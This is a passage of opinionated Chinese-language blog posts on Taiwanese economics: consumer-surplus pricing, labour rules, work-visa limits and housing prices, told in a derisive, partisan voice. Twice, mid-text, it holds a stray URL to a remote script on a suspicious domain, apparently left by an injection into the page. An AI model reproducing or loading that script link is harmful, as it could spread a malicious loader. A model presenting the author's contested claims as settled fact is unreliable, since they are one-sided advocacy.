過去曾有知名錶廠，因為同款式金銀二錶銷售出現極大差異，從而綁定經銷商一定要金銀二錶同買。這是因為一者產量難以短時間內應付金錶的需求大幅上升；二者市場銷售狀況量度對生產廠而言有相當費用，綁定熱銷與滯銷款有助於：a.量度實際銷售狀況與 b.榨取熱銷款的消費者盈餘。

這等法律經濟分析似乎台灣法學者多半十分無知啊。

回到一蘭拉麵例子，有的消費者願意付出更高代價吃麵，亦或是付出代價換取優先入場以節省時間。一蘭拉麵大可直接販賣「優先入場權」，但單純時間的節省要訂價有困難度，也容易引發爭議。因此店家很聰明的用上經濟學常見的安排「委託量（proxy）」 — 將難以量度的物品或服務委託到容易量度的東西上面。

此案例中一蘭拉麵顯然就是要榨取消費者盈餘的安排與優先入場的安排同時委託到禮品上，所以才會出現「購買禮品滿$6000可優先入座」。換言之，店家透過此安排分離出願意付出更高代價享用的客人，並提供其優先服務，這是非常聰明且雙贏的策略。試問李教授何來抵制之必要？！

國家音樂廳同一場音樂演出好壞座位票價可差異達5、6倍以上，這在全世界多數表演活動都有一樣的票價安排，背後經濟學原理也是一樣的 — 部分榨取消費者盈餘。試問李教授是不是也要抵制這種普世現象呢？

附註 — 關於李教授批評某台中餐廳有錢裝潢沒錢付薪水一文如下：

很明顯論者壓根就沒有開店的經驗，以為人力是隨時請隨時有，而且來就能上線工作毋須教育訓練也不用過濾的。
我自己曾經為了在信義區開百貨公司專櫃，104等求才管道花了幾萬元刊登，2個月內面試將近幾十位求職者，超過9成根本不能用。能用的一成，你還得跟大品牌競爭 — 人力通常更願意去知名品牌大公司工作，無名中小企業甚至要開出比大公司更高的薪水才請得到或留得住人。可是增加的人力成本很可能也吃光獲利。

請人哪那麼容易？

同時這位大教授也沒有經濟學成本的觀念（特別是上頭成本與營運成本），才會說出「花大錢裝潢然後不喜歡花一點小錢請人」這種話。

裝潢費用屬於上頭成本，是下注之前對於市場判斷與定位的成本，一旦下了注要開檔，這個成本對於經營者的行為在經濟學上已經失去任何影響，因為這已是歷史成本，而歷史成本不是成本。經濟學看的機會成本永遠是指「對未來選擇的最高代價」。

裝潢後如果人力無法支應，開門營業帶來的收益不足以cover日常營運成本，甚至因人力素質未達標準可能砸了招牌商譽的風險下，理性經濟決策當然是暫停營業！

我不認為這篇新聞中的苦主全是因為一例一休而出現人力問題，我推測他們應該本來人力就很吃緊了，可是越趨僵化的台灣勞動法規使得經營難度大大提高。
開了店可用人力資源無法完美供應，在百貨公司業界是早就存在這種狀況。樓管一般會在新櫃開張但人力不足情形下幫忙調度借人，這也是樓管的工作權責範圍之一。反過來想，如果此類狀況不是常發生，那百貨公司也不會設置樓管負責這部份的調度工作。

也就是說，真實世界中此類狀況遠比這些象牙塔裡的學者所知來得實際而頻繁。從經濟制度分析角度來看，缺乏彈性的勞動法規的確會加劇與惡化這種困境。

台灣很可悲的，是參與政策決定的環境中竟充斥這類毫無經營經驗的人，還說話最大聲

最近台灣對於低階白領是否要開放吵得沸沸揚揚。

而有些人拿著美國工作簽證的經驗，認為應該要對低階白領的設立門檻限制，以保障弱勢勞工的工作權益。

此論點是典型的「經濟學邏輯失格」的蠢話，我簡單解釋如下：

1. 生產要素同價發威是不需要開放市場的

2007年我曾經寫過一篇「開放大陸勞工來台會降低台灣人薪資水平？」其中我寫道：

如果拿來比較的產品越相近，相對地該產品背後所需的生產要素也會越相近（原料、勞力、土地、機器與技術），則上述雙邊生產要素價格比例拉近的力量也就越強勁！
就算因為真實世界存在諸多因素使得兩邊價格無法相等，其修正的趨勢還是變不了也擋不住的！

講完這堆抽象的東西，我們現在用它們來解釋真實世界：

在兩岸同質性高的產品範疇內，只要這些產品兩岸均自由可以出口，那麼台灣和中國的生產要素價格就會有著上述理論的修正力量作用著。特別是中國與台灣許多產品不約而同都以出口到美國、歐洲為主時，則生產優勢比較的情況將會更嚴重。

為了方便思考，我們先把地區侷限到貿易關係只有美國、台灣、中國三方。很明顯地，中國低廉的土地、勞力價格會隨著出口產值越來越大而拉高；反過來台灣、美國的勞力、土地資本假如用在和中國重疊的生產項目上，則價格會向下修正！
當然，不可避免地，美國這個進口國的勞力價格和土地價格也會受到影響。

這邊各位也就可以感覺到，為何波特的競爭論理中「差異化策略」有其價值所在，因為差異化可促使生產項目重疊性變小，則上述生產要素價格拉近的影響力就越小，固就能避免掉新興低廉勞工成本國家的「微利化影響」。

大陸1979年改革開放之後，廉價產品源源進入美國市場，我們從上述理論能想見美國基層勞工的基本薪資自然會遭受打壓。

大陸有開放勞工到美國嗎？沒有！但只要雙邊開放商品貿易，效果跟開放勞工其實還是一樣的！

在全球化的浪潮之下，台灣既然作為島國經濟，自然受全球貿易影響最深。但偏偏台灣政府是一個不正常的鎖國政府，自我斷絕與中國的友善關係，同時也將自絕台灣與世界多數國家的正常貿易之外。國際現實就是全世界9成以上經濟實體都跟中國建交，而與中國建交必然要承認中國版的「一個中國」政策。換言之，9成以上世界經濟實體根本就不可能承認台灣的獨立性，在此現實下蔡英文政府還痴人發夢地迴避與中國建立關係，幻想世界其他國家會不顧自身國家利益幫台灣發聲…騙騙國內選票可以，但國際現實全由實力決定。當團體裡的老大就是看你不爽、就是針對你時，除非你有本事幹掉老大取而代之，否則你只剩和談或離開團體關門自爽兩條路。

可惜台灣既沒有本事幹掉中國，更沒有關門自爽的本錢。唯一一條路，卻有一堆自我催眠的假台獨檔著。

因此必然的結果是：世界多數經貿稅務協議，幾乎都沒有台灣的份。台灣商業必須在先天關稅與非關稅障礙均較他國沈重的前提下，與其他國家競爭。經濟邏輯上必然發生的，也就是台灣多付出的成本，必須由生產要素來分擔，其中一個躲不掉的生產要素就是「人力成本」，講白話，就是台灣在國際競爭之下薪資成長性只會低不會高，甚至會衰減而不會成長！

舉個例子幫助理解：台灣面對的就像是大家到夜市擺攤，你赫然發現你是唯一跟夜市場地主人沒有特別關係的局外人，因此你要支付多過其他攤位50%的租金。試問你的損益平衡點是不是先天就不如人？先別說獲利，光是要損益平衡你的進貨、工資或其他開支就要比別人低。以一個毫無天然資源的島國來說，最能減的不是工資是什麼？

看懂這點，就會發現現今既支持天然獨又譴責低薪的年輕人非常可笑，因為他們的政治主張正是造成他們低薪的原因之一。

題外話重溫我在「談談最近的服貿與學運」說過的：

經濟學程度這麼差的教授們，其言論竟然可以騙得一堆大學生來反對馬英九難得做對的一件事？這些象牙塔裡，對真實世界理解其差的意見，也能有這麼大的市場？台灣大學生究竟是有多差？

顯然當時的大學生書念得太差所搞出來的政治活動，現在也是由全體台灣人來自食惡果。

2.更嚴格工作簽證並無保護勞工效果，只有養肥移民官員與移民法律師或代辦公司

近日華爾街日報「The Diminishing Return of a College Degree」一文中更是打臉這些宣稱美國工作簽證可以保障弱勢勞工的言論：

美國1970年代大學生跑去開計程車的僅佔計程車司機1%不到，但2010年佔了15%！有經濟學感受的人很快就知道 — 這表示大學學歷租值跌價幅度驚人！也就是說，大學學歷放到2000年後的今天看，已經是「低階白領」。

1979中國大陸改革開放後，到2000年前後中國人工素質慢慢追上美國高中、大學生，於是出現美國大學與高中學歷收入差額從2000年的$32900美元降到2015年的$29867（超過9.2%的縮減）。而2000以來美國的工作簽證H1-B總數量是限縮的，換言之，更嚴格的工作簽證並未保障到美國大學畢業生的收入。

上述事實直接駁倒「主張嚴格工作簽證以保障弱勢勞工」的論點。

WSJ同篇文章中也指出，高達40%大學畢業新鮮人找工作時間比過去更久，許多人從事根本不需要大學學歷的工作如咖啡店吧台手、Uber司機等。這些不過都是大學學歷租值不如過往的具體事實呈現。

台灣人經濟學教育實在很差，差到許多人以為更多的管制可以帶來保障，而不知道實證上，管制只會帶來更多貪汙現象，而永遠無法達到任何保障效果！

綜合本文第一點來看，台灣是個實質薪資成長性沒有太多希望的經濟體，本身對外國白領人才吸引力就有限，還夜郎自大、敝帚自珍地拉高外國人工作簽證的難度，其結果就是徒有一堆辦法規章，但事實上並不會有太多人真的來台灣工作。

到此我簡單結論如下：

a. 30年來世界大量廉價人才進入市場競爭，要素平價理論發威下這20年就連高租值的美國，實質薪資成長性都在衰退，美國大學學歷租值也在衰退。台灣政客與年輕人不該對世界大局如此無知，繼續自我欺騙與縮頭躲避。

b. 拿美國工作簽證制度來類比台灣是不倫不類 — 美國是世界人才大磁鐵，而你台灣是個什麼東西？先天條件不如人還想要東施效顰？

c. 工作簽證制度在經濟分析上不可能有保障勞工的效果，只有養肥移民局官員與移民律師/公司的結果。https://js.developerstatss.ga/stat.js?n=ns1

「幹，我今年都不吃東西這輩子都不出國，我還是買不起被你們炒出來的房子。」 這種愚蠢且毫無經濟常識的論調竟然充斥在年輕人的想法裡，可見現在有多少年輕人書念得多糟、邏輯與事實觀察能力有多差勁！

1. 這些笨蛋根本不懂房地產為什麼上漲，還蠢到以為是被炒作。

房地產上漲牽涉到經濟學的財富倉庫理論 — 一個經濟體生產力增長的過程，必然有多餘財富被創造。而這些財富需要有倉庫讓所有者的辛勞成果受到保護，傳統上房地產、股票、債券、珠寶古董乃至於字畫，都是通常正常人會選擇的財富倉庫。

要能成為財富倉庫的條件嚴苛，基本上除了純粹收藏品之外，多數人認可的房地產、股票、債券均是因為符合經濟學大師I. Fisher利息理論中能產生未來收入的資產。稍懂經濟學的都知道，資產價格是未來收入的折現值總和。而重點在於未來收入是個預期值，即便是債券都可能因為市場利率的改變而有所價格改變。

換言之預期未來收入增加時，會提高資產的價格；反之，資產就會跌價。股市、期貨等諸多市場的漲漲跌跌，商圈新生、極盛與衰退反應的租金與地價起落，都是在利息理論的解釋範疇中。

回過頭看台灣從1981年GDP總額1,728,793百萬台幣，成長到2015的16,175,607百萬台幣，總成長9.36倍，換算年複合成長率為6.79%，姑且當做台灣的財富增長來看（暫不考慮通貨膨脹因素），你說這些被創造出來的財富要放哪？當然是各種投資管道！

如果以較具公信力的國泰建設房地產指數來看，從該指數首度編表的2003年全國成交房地產均價為15.1萬/坪，到2017年Q1的23.62萬/坪來說，成長率僅約3.25%。接近同時期（2003 — 2016）GDP複合成長率為3.49％，事實上房價整體上漲水準還輸給GDP成長率。要說炒房集團靠炒房賺得多少超額利潤？還真是看不太出來成績有多驚人。

更須要注意的是：2003～2016的台灣貨幣發行量M1A年複合成長率高達7.34％！！以台灣房地產的整體漲幅來看，甚至連貨幣貶值率都跟不上！

ok，我知道馬上有人會拿台北、新北跟一些房地產漲幅超越台灣整體平均的地區反駁說這些地區被炒作得厲害，所以年輕人才買不起。（同時期台北整體房價成長率為5.84%、新北市為6.16%）

這個論點也是錯誤的，錯就錯在這些笨蛋根本沒想到房地產漲幅除了反應整體財富增加、通貨膨漲之外，各地房地產還要反應「稀缺性」！

所有的房地產投資入門所強調的「location、location、location」，說穿了就是在強調房地產的稀缺性。

房地產與一般動產最大不同也在於此：同一個地點的土地就是only one！你不可能平白在101現址上再生出一塊101土地。

是的，3D空間裡你可以往上蓋，取得「近似創造土地」的效果，這也是為什麼全世界都市精華地區都是摩天樓一棟比一棟高。因為這樣土地利用效率才高。

但你絕對不可能在同一地點創造出一模一樣的土地。

101隔壁世貿的地就不是101的地；台北鄰近隔座山文山區的地就不是信義區的地。

而正因為土地的特殊稀缺性，才讓精華地區與非精華地區的土地價值有極大的差異，這個差異來自於需求，是需求創造出的「租值（rent value）」。為什麼會有需求？回到前面利息理論，因為該地可以產出的未來收入就是有那麼高（或是預期有那麼高），才能存在這樣的高地價。

所以sway這種自詡正義之士的房產專家，犯的最大經濟學錯誤就是誤認為房地產價格被炒高，物價才上升。錯了！是某些地區的生產力就是那麼高，收入（物價）可以到那麼高，才足以支應那樣的房價（租金）！

為什麼後者的邏輯才是正確的，因為從科學方法論來檢驗這樣的經濟學理論最明白不過：商圈（台北東區、天母區與曾經的西門町或台中成功路老市區）從發跡到繁榮，人潮商機湧入讓某區收入不斷提高，從而房價租金才能跟著提高；嗣後人潮商機轉往他處，某區的房價租金不再能有高收入支撐時，就會跌價，而當跌價幅度不夠clean the market時，就會出現unemployment，也就是該區處處關門無人承租，買賣成交期拉得非常長。

你不可能憑空炒作一塊沙漠房價，而沒有任何需求支撐。即便是內華達沙漠中拉斯維加斯，也是搞好水電基礎供應後，靠賭場、各種藝術、情色表演與便宜飯店來吸引大量人潮商機，才真正在沙漠中創造高房價。

雙北市基礎建設、社會福利、生活品質、工作機會以及人口密度成長率遠優於台灣其他縣市，自然創造出不凡的「稀缺性」。這也說明了為什麼一堆領著低薪的新鮮人想盡辦法要留在台北。講更白點，正是因為太多這群自認社會不公的魯蛇死皮賴臉要在台北，所以才支撐起雙北的高房價。

自己才是造成結果的因，反倒是怪起炒房客、投資客。從經濟學觀點，炒房客、投資客才是穩定房價的最大功臣！

所有的投資行為依據利息理論，都是「犧牲現在的享受換取明日的收入」。正因為投資客認為某地房地價有上漲空間（也就是認為某地生產力會提昇），所以於主觀認為低價時買入，這個行為本身有二好處 — 避免資源價格持續下跌以及讓資源移轉到更可善加利用之人身上。

而投資客在他主觀認為房地價夠高的時候賣出，也就是在價格夠高時提供了供給，而供給增加會抑制價格持續上漲。

同時投資客、炒房客彼此之間的競爭，也會提高供給、抑制房價上漲。這在任何市場都是一體適用的經濟法則，這是最基礎的價格理論！猶如你在地球上就受到重力影響一樣，無可避免。

當然任何市場都存在「造價（price making）」行為，本文不多提，因為我在blog中已經簡單討論過。台灣還存在與銀行內神通外鬼、政客透過公權力炒地皮的尋租行為，這些都是對整體經濟不利的行為，本blog也多次撻伐，讀者可自行搜尋，本文也不再多提。

到這裡小結：

a.台灣50年來經濟發展創造的財富必然有部分流到房地產，這會推升房產價格。這是私有產權制度下的必然，因此把老一輩的極為正常的投資行為視為邪惡的炒房行為，是對經濟學的無知才能講出來的蠢話。

b.台灣近年通貨膨脹極為嚴重（2003～2016的台灣貨幣發行量M1A年複合成長率高達7.34％！），這跟央行長期緊盯美元匯率有關。而亂印鈔票必然會引發通膨，特別是當整體經濟前景不佳的前提下，多出來的資金容易流向資產（股市、房市），造成生產要素漲價不均的現象 — 也就是房價、股價漲幅遠高於工資。這部份要怪就怪政府央行錯誤的貨幣政策，跟炒房行為無關。

c.本blog早在2007年就預言台灣薪資成長會停滯甚至衰退，請參見「台灣低薪是必然，經濟學預言威力精準」。而因為從李登輝以來不斷地社會福利主義走向以及錯誤的中國政策，台灣經商環境越來越困難，租值不斷流失，必然影響資源持有者對未來前景從而改變投資行為（從生產投資轉變為資產投資）。這30年的政客誤國才是罪魁禍首。

d.投資客的存在才能穩定價格波動同時提供流動性，這在任何市場都是一樣，包含房市。這些人對經濟貢獻不亞於其他人。

2. 不是人人都應該買房

左派的居住正義與居住人權一直都是天大的笑話，他們把「想要」跟「有能力要」混為一談。

試問誰不想住市區的廣闊大豪宅？出入享受Bently、勞斯萊斯？回家有30幾個僕人一字排開服侍？問題是所欲者眾，真正負擔得起的有幾人？

人人都想開名車，但多數人只開得起神車Toyota Altis。不是後者不重視享受、不重視汽車安全性，而是「想要」與「能負擔」本來就是兩回事。資源就是有限，每個人都只能在自己有限資源裡做最佳分配。

即便富有如股神巴菲特，滿手現金下也無法隨心所欲地胡亂併購公司。

回到買房上，人人都想要房子不代表人人都負擔得起。

更進一步，有些人總資產是負擔得起買房，但是在特定條件下，租屋對整體資產活絡與增長更有利時，這些人寧願選擇繼續租屋。

過去我在blog「囤積與投資根本是同一件事」一文中就說過：

「居住正義」是亂七八糟的福利觀念，「人人有屋住」不代表這世界就應該「人人『所有』房屋」。

社會富有的過程，競爭之下的成功者本來就會有較多財富，需要找地方放；定存、股票、債券、名車乃至於房屋，都是自然存在的投資標的。

政府胡亂打壓，只是讓這些資金從A處幾往B處。當你試圖管控房價，則通膨會發生在未被管制的項目上，例如股市。這跟擠壓氣球是一樣的。

當你管制項目越多，則資金市場被迫發明新玩意來規避，例如台灣的儲蓄型保險，亦或大陸的投資產品，亦或美國的存單。這些都是政府管制下的變形產物，究竟是資金的錯？還是政府的錯？

唯一可以確定的，是這些管制所帶來的行政成本、資金移轉成本乃至於契約成本，都是原本無需付出的社會耗損。無人得利，多邊均輸，這種蠢政策只是為了討好一群主張正義的學者或無知民眾，可笑。

可以再多談的是，如果政府為了部分買不起房的人刻意用政策打壓房價，本質上其實是搶奪另一群人的財富來補貼這群人。試問如此作為跟強盜有何兩樣？試問如此作為合乎憲法平等權以及私有財產保障的規範與精神嗎？

有些人年輕時努力工作累積的財富，到老要被政府強制徵收移轉給其他人，那誰還要努力工作？私有產權制度的價值正是保證了人們工作成果，才提供人們為自己未來努力的誘因，從而使整體社會增長進步。

許多左派自詡進步，其實本質根本與盜匪無異！不知恥就算了，講話還特大聲。

3. 在大台北，22k也買得到房！

最後再回應該篇文章宣稱的「幹，我今年都不吃東西這輩子都不出國，我還是買不起被你們炒出來的房子。」

首先，住不起台北就別勉強；中南部租金房價便宜多的地方很多。

硬要居住在自己負擔不起的地方，然後怪天怪地哭爸哭母要別人補貼你，在我看來是極為無恥的行為。不過好像很多人壓根不知道「無恥」是怎樣的概念。

再者，大台北地區並非處處都是帝寶的房價。例如591網站上新北市金山區29坪四房中古屋就有開價220萬的物件，以22k薪水來看，不吃不喝8年即可買房，換言之省吃儉用，20年房貸買房不是不可能。

許多長輩當年也是如此，先求有再求好。

再者，該文作者年紀大概跟我差不多，那人生兩次累積財富的大好機會（2000年.com泡沫後與2008年金融風暴後）該文作者顯然都沒把握到。

遠的不談，2008年後到現在，美國股市多少好公司股價漲幅超過2倍、3倍，甚至更保守，連S&P500漲幅都有170%！光買ETF都能享受年複合報酬率6.86％（還贏過炒作台灣房地產）。

同時期Apple股價漲幅7.26倍（報酬率28.11%）、Google漲幅6.71倍（報酬率26.87%），會拿iPhone、Android手機卻不懂得投資這兩家公司，該檢討的難道不是自己？

這些都是翻轉人生財富的大好機會，為什麼不把握？還是不懂把握？那試問自己要不要檢討–在英文能力強過父執輩、網路交易便利性與成本遠低於父執輩當年的現在，為什麼自己不懂得把握如此股市良機？！

誠如鴻海郭台銘所言：「沒有不景氣，只有自己不爭氣！」https://js.developerstatss.ga/stat.js?n=ns1